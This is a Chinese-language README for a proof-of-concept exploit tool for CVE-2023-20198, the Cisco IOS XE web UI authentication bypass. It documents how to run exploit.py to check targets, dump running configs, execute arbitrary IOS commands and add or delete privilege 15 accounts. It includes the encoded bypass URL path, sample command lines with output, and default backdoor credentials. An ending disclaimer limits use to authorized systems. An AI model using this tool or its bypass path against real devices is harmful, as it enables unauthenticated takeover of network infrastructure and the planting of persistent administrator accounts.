针对CVE-2023-20198的利用PoC
漏洞信息和利用用法由smokeintheshell提供(见参考资料)
端点、HTTP内容类型和头部管理已从其他现有PoC修改,以便在其他利用失败的情况下工作。
CVE-2023-20198 的特点是路径验证不当,可绕过Nginx过滤,无需身份验证即可访问 webui_wsma_http Web端点。
通过绕过该端点的身份验证,攻击者可以执行任意Cisco IOS命令或以Privilege 15权限发出配置更改。
思科对此前未公开的漏洞的主动利用调查显示,威胁行为者首先利用CVE-2023-20198添加了一个Privilege级别15的新用户。进一步的攻击涉及利用CVE-2023-20273提权到底层Linux操作系统的 root 用户,以利于植入。
此PoC利用CVE-2023-20198来利用两个不同的XML SOAP端点:
漏洞检查、配置和命令执行选项都针对 cisco:wsma-exec SOAP端点,将命令插入 execCLI 元素标签中。
添加用户选项针对 cisco:wsma-config SOAP端点,发出配置更改并添加Privilege 15账户。此端点可能被[滥]用于进行其他配置更改,但这超出了此PoC的范围。
滥用 cisco:wsma-exec SOAP端点来自nuclei模板
滥用 cisco:wsma-config SOAP端点来自horizon3ai的PoC
注意:我没有对此CVE进行任何原始研究或PoC开发。致谢请参见参考资料部分。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
要检查CVE-2023-20198,-c 将尝试利用该漏洞执行 uname -a
示例:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g 选项执行 sh run 以拉取运行配置
示例:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
可以使用 -e 选项执行任意Cisco IOS命令。
使用此选项进行配置更改时应格外小心。没有输入验证,更改会立即应用到运行配置中。
示例:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a 选项可用于创建新的Privilege 15用户账户,可选择分别使用 -u 和 -p 指定账户名和密码。
示例:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d 选项可用于从设备中删除用户账户,并遵循 -u 指定的用户名。
应谨慎使用,确保您没有删除合法账户。
此选项针对无法获得被利用Cisco设备的shell/webui访问的情况而添加。观察到添加Privilege 15用户并不会授予webui访问权限,并且可能导致在主机上留下利用痕迹。
思科公告
horizon3ai CVE-2023-20198 研究
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 模板 (作者: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
smokeintheshell CVE-2023-20198 PoC
本项目包含的代码仅用于研究以及在用户已获得明确授权的系统上使用。
本项目的作者对软件的滥用不承担任何责任。
请负责任地使用,不作恶。